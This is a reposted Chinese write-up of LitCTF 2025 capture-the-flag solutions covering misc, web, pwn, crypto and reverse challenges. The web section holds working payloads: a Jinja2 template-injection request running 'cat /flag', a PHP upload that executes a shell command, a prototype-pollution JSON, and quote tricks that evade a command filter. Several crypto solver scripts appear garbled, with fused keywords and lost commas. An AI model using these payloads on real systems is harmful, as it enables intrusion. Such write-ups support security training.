LitCTF 2025

admin 2025年5月26日17:00:53评论33 views字数 11603阅读38分40秒阅读模式

LitCTF 2025

点击上方蓝字关注我们 并设为星标

Misc

灵感菇🍄哩菇哩菇哩哇擦灵感菇灵感菇🍄

获取密文

LitCTF 2025

然后能在源码中找到项目地址,下载解码就行

LitCTF 2025
LitCTF 2025

Cropping

伪加密直接提取,一眼二维码被分开了

LitCTF 2025

文件名都写好了直接合成图片,扫描

LitCTF 2025

LitCTF{e7c3f4b2-9a6f-4d3f-9f98-0b3db91c2a12}

LitCTF 2025

消失的文字

流量提取出解压密码868F-83BD-FF

LitCTF 2025

丢到里面解码https://hidden-word.top/

LitCTF 2025

LitCTF{39553317-df30-4951-8aad-fcaf3028ca9d}

像素中的航班

图片中飞机为南方航空,且时间为早上或者傍晚

根据信息在福州举办的

LitCTF 2025

去他们官网查,在热门城市尝试符合时间的就只有

广州早上,乌鲁木齐早上,和郑州早上

LitCTF 2025
LitCTF 2025

CZ8289

Web

nest_js

访问/dashboard

账号admin密码password直接拿到flag

LitCTF 2025

星愿信箱

fenjing一把梭

POST /?a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat%20/flag HTTP/1.1
Host: node11.anna.nssctf.cn:24476
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://node11.anna.nssctf.cn:24476/
Content-Type: application/json
Content-Length: 236
Origin: http://node11.anna.nssctf.cn:24476
Connection: keep-alive
Priority: u=0

{"cmd":"{%print((()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(137)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read())%}"}
LitCTF 2025

easy_file

admin/password

登录后上传文件<?=cat flllag.php?>

LitCTF 2025
LitCTF 2025

admin.php?file=uploads/1.jpg访问拿到flag

LitCTF 2025

多重宇宙日记

{"settings": {
"theme""asd",
"language""asd",
"__proto__": {
"isAdmin": true
}
}}

LitCTF 2025
LitCTF 2025

Pwn

test_your_nc

下载附件查看源码过滤了很多常用的命令,可以使用"做分割符l"s",然后ca"t" flag

LitCTF 2025

nc连接后ca"t"[tab键]flag

LitCTF 2025

CRYPTO

baby

p = 7835965640896798834809247993719156202474265737048568647376673642017466116106914666363462292416077666356578469725971587858259708356557157689066968453881547
h = 2966297990428234518470018601566644093790837230283136733660201036837070852272380968379055636436886428180671888655884680666354402224746495312632530221228498

# 添加 n2s 函数
defn2s(n):
return int(n).to_bytes((n.bit_length() + 7) // 8'big')

for i in range(125,127):
    T = 2^i
    L = Matrix(ZZ,[[1,T*h],[0,T*p]])
    res = L.LLL()[0]
    tmp1 = abs(int(res[0]))
    tmp2 = abs(int(res[1]))

if(tmp2.bit_length() <= 150or tmp2.bit_length() > 0):
        print(i)
        x = n2s(tmp1)
ifb'flag'in x orb'CTF'in x:
            print(x)
break
LitCTF 2025

LitCTF{56008a819331c9f3608a718327b7e6ce}

ezmath

deflong_to_bytes(n):
    hex_str = hex(n)[2:]  # 转换为十六进制字符串并去掉开头的'0x'
    hex_str = hex_str.zfill(len(hex_str) + (len(hex_str) % 2))  # 处理奇数长度问题
return bytes.fromhex(hex_str)

# 原始参数
e = 65537
p = 8147594556101158967571180945694180896742294483544853070485096002084187305007965554901340220135102394516080775084644243545680089670612459698730714507241869
B = [
    [2155477851953408309667286450183162647077775173298899672730310990871751073331268840697064969968224381692698267285466913831393859280698670494293432275120170
4113196339199671283644050914377933292797783829068402678379946926727565560805246629977929420627263995348168282358929186302526949449679561299204123214741547],
    [3652128051559825585352835887172797117251184204957364197630337114276860638429451378581133662832585442502338145987792778148110514594776496633267082169998598
2475627430652911131017666156879485088601207383028954405788583206976605890994185119936790889665919339591067412273564551745588770370229650653217822472440992]
]

# 在有限域 GF(p) 中操作
P = GF(p)
B = matrix(P, B)

# 计算私钥 d
d = inverse_mod(e, (p**2 - 1) * (p**2 - p))  # 计算模逆

# 矩阵解密操作
M = B**d

# 输出结果
print("解密后的矩阵 M:")
print(M)

# 直接转换已知的明文整数
flag_number = 2738291505444069784854203190441208192608941108860744777953601309154183743979203853602475706902822224671357
flag = long_to_bytes(flag_number)

print("nFlag:")
print(flag.decode())
LitCTF 2025

LitCTF{13dd217e-9a67-4093-8a1b-d2592c45ba82}

math

import math
from math import gcd
from itertools import count

definteger_sqrt(n):
"""计算整数平方根并验证是否为完全平方数"""
    root = math.isqrt(n)
if root * root != n:
raise ValueError("不是完全平方数")
return root

defis_prime(n, rounds=20):
"""Miller-Rabin素性测试"""
if n < 2:
returnFalse
for p in [23571113171923293137]:
if n % p == 0:
return n == p
    d = n - 1
    s = 0
while d % 2 == 0:
        d //= 2
        s += 1
for _ in range(rounds):
        a = 2# 固定基以简化,实际可能需要更多基
        x = pow(a, d, n)
if x == 1or x == n - 1:
continue
for __ in range(s - 1):
            x = pow(x, 2, n)
if x == n - 1:
break
else:
returnFalse
returnTrue

definverse_mod(e, mod):
"""扩展欧几里得算法求模逆"""
    g, x, y = extended_gcd(e, mod)
if g != 1:
raise ValueError("模逆不存在")
return x % mod

defextended_gcd(a, b):
if a == 0:
return (b, 01)
else:
        g, y, x = extended_gcd(b % a, a)
return (g, x - (b // a) * y, y)

# 题目数据
n = 17532490684844499573962335739488728447047570856216948961588440767955512955473651897333925229174151614695264324340730480776786566348862857891246670588649327068340567882240999607182345833441113636475093894425780004013793034622954182148283517822177334733794951622433597634369648913113258689335969565066224724927142875488372745811265526082952677738164529563954987228906850399133238995317510054164641775620492640261304545177255239344267408541100183257566363663184114386155791750269054370153318333985294770328952530538998873255288249682710758780563400912097941615526239960620378046855974566511497666396320752739097426013141
e = 65537
c = 1443781085228809103260687286964643829663045712724558803386592638665188285978095387180863161962724216167963654290035919557593637853286347618612161170407578261345832596144085802169614820425769327958192208423842665197938979924635782828703591528369967294598450115818251812197323674041438116930949452107918727347915177319686431081596379288639254670818653338903424232605790442382455868513646425376462921686391652158186913416425784854067607352211587156772930311563002832095834548323381414409747899386887578746299577314595641345032692386684834362470575165392266454078129135668153486829723593489194729482511596288603515252196
hint = 17532490684844499573962335739488728447047570856216948961588440767955512955473651897333925229174151614695264324340730480776786566348862857891246670588649327068340567882240999607182345833441113636475093894425780004013793034622954182148283517822177334733794951622433597634369648913113258689335969565315879035806034866363781260326863226820493638303543900551786806420978685834963920605455531498816171226961859405498825422799670404315599803610007692517859020686506546933013150302023167306580068646104886750772590407299332549746317286972954245335810093049085813683948329319499796034424103981702702886662008367017860043529164

# 计算差值
diff = hint - n

# 已知的noise值(需提前确定)
noise = 942430120937# 确保这是正确的值

# 验证noise合法性
assert diff % noise == 0"noise不是diff的因数"
assert is_prime(noise), "noise不是素数"
assert noise.bit_length() == 40"noise位数不为40"

# 恢复p+q
sum_pq_plus_noise = diff // noise
sum_pq = sum_pq_plus_noise - noise

# 计算判别式
D = sum_pq**2 - 4 * n
try:
    sqrt_D = integer_sqrt(D)
except ValueError:
raise ValueError("判别式不是完全平方数,noise可能错误")

# 计算p和q
p = (sum_pq + sqrt_D) // 2
q = (sum_pq - sqrt_D) // 2
assert p * q == n, "p和q乘积不匹配n"

# 解密过程
phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)
m = pow(c, d, n)

# 转换为字节串
flag_bytes = m.to_bytes((m.bit_length() + 7) // 8'big')

# 尝试解码为字符串
try:
    flag = flag_bytes.decode('utf-8')
    print("解密成功,Flag为:", flag)
except UnicodeDecodeError:
    print("解密成功,但转换为字符串失败,原始字节:", flag_bytes.hex())
LitCTF 2025

LitCTF{db6f52b9265971910b306754b9df8b76}

leak

import itertools

defsmall_roots(f, bounds, m=1, d=None):
ifnot d:
        d = f.degree()

    R = f.base_ring()
    N = R.cardinality()

    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)

    G = Sequence([], f.parent())
for i in range(m + 1):
        base = N ** (m - i) * f ** i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod(map(power, f.variables(), shifts))
            G.append(g)

    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)

    factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
        B.rescale_col(i, factor)

    B = B.dense_matrix().LLL()

    B = B.change_ring(QQ)
for i, factor in enumerate(factors):
        B.rescale_col(i, 1 / factor)

    H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
        H.append(h)
        I = H.ideal()
if I.dimension() == -1:
            H.pop()
elif I.dimension() == 0:
            roots = []
for root in I.variety(ring=ZZ):
                root = tuple(R(root[var]) for var in f.variables())
                roots.append(root)
return roots
return []

deflong_to_bytes(n):
    hex_str = hex(n)[2:]
if len(hex_str) % 2 != 0:
        hex_str = '0' + hex_str
return bytes.fromhex(hex_str)

definverse_mod(a, m):
    g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError(f"模逆不存在 (gcd={g})")
else:
return x % m

defextended_gcd(a, b):
if a == 0:
return (b, 01)
else:
        g, y, x = extended_gcd(b % a, a)
return (g, x - (b // a) * y, y)

# ---------- 主程序 ----------
e = 1915595112993511209389477484497
n = 12058282950596489853905564906853910576358068658769384729579819801721022283769030646360180235232443948894906791062870193314816321865741998147649422414431603039299616924238070704766273248012723702232534461910351418959616424998310622248291946154911467931964165973880496792299684212854214808779137819098357856373383337861864983040851365040402759759347175336660743115085194245075677724908400670513472707204162448675189436121439485901172477676082718531655089758822272217352755724670977397896215535981617949681898003148122723643223872440304852939317937912373577272644460885574430666002498233608150431820264832747326321450951
c = 5408361909232088411927098437148101161537011991636129516591281515719880372902772811801912955227544956928232819204513431590526561344301881618680646725398384396780493500649993257687034790300731922993696656726802653808160527651979428360536351980573727547243033796256983447267916371027899350378727589926205722216229710593828255704443872984334145124355391164297338618851078271620401852146006797653957299047860900048265940437555113706268887718422744645438627302494160620008862694047022773311552492738928266138774813855752781598514642890074854185464896060598268009621985230517465300289580941739719020511078726263797913582399
hint = 10818795142327948869191775315599184514916408553660572070587057895748317442312635789407391509205135808872509326739583930473478654752295542349813847128992385262182771143444612586369461112374487380427668276692719788567075889405245844775441364204657098142930

# 定义多项式环(SageMath 语法)
R.<x,y> = PolynomialRing(Zmod(n), 2)

# 构造多项式方程
f = e*(hint*2^180 + x) + y - 1

# 调用 small_roots 函数寻找小根
bounds = [2^1802^100]
roots = small_roots(f, bounds, m=1, d=3)

ifnot roots:
raise ValueError("未找到小根,请调整参数")

dh, k = roots[0]
print(f"[DEBUG] dh = {dh}, k = {k}")

# 将结果转换为普通整数(关键修正)
dh = int(dh)
k = int(k)

# 计算 temp
temp = hint * 2^180 + dh
print(f"[DEBUG] temp = {temp}")

# 计算 numerator 和 denominator(确保为整数)
numerator = e * temp - 1
denominator = k

if denominator == 0:
raise ValueError("k 不能为零")

if numerator % denominator != 0:
raise ValueError(f"e*temp -1 不能被 k 整除: {numerator} / {denominator}")

candidate = (numerator // denominator) + 1
print(f"[DEBUG] candidate = {candidate}")

# 计算 p
p = gcd(n, candidate)
print(f"[DEBUG] p = {p}")

# 验证 p
if p == 1or p == n:
raise ValueError("未找到有效的 p")

ifnot is_prime(p):
raise ValueError("p 不是质数")

# 计算私钥 d
try:
    d = inverse_mod(e, p - 1)
except ValueError as err:
    print(f"[ERROR] 无法计算 d: {err}")
    print(f"[DEBUG] gcd(e, p-1) = {gcd(e, p-1)}")
raise

# 解密密文
m = pow(c, d, p)

# 输出 flag
print(long_to_bytes(m).decode())
LitCTF 2025

LitCTF{03ecda15d1a89b06454c6050c1bd489f}

basic

from Crypto.Util.number import long_to_bytes

n = 150624321883406825203208223877379141248303098639178939246561016555984711088281599451642401036059677788491845392145185508483430243280649179231349888108649766320961095732400297052274003269230704890949682836396267905946735114062399402918261536249386889450952744142006299684134049634061774475077472062182860181893
e = 65537
c = 22100249806368901850308057097325161014161983862106732664802709096245890583327581696071722502983688651296445646479399181285406901089342035005663657920475988887735917901540796773387868189853248394801754486142362158369380296905537947192318600838652772655597241004568815762683630267295160272813021037399506007505

phi = n - 1
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)

print(flag.decode())
LitCTF 2025

LitCTF{ee2c30dfe684f13a6e6c07b9ec90cc2c}

Re

easy_rc4

LitCTF 2025

输入aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,strcmp处下个断点,取出s1,s2

LitCTF 2025

LitCTF{71bb2a06417a5306ba297ddcfce7b1b0}

PS:更多比赛WP关注公众号
因为交流群超过200人,可以加下方微信拉
备注来意或者通过好友后发送【加群】
LitCTF 2025

原文始发于微信公众号(深玄安全):LitCTF 2025

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月26日17:00:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   LitCTF 2025https://cn-sec.com/archives/4099946.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息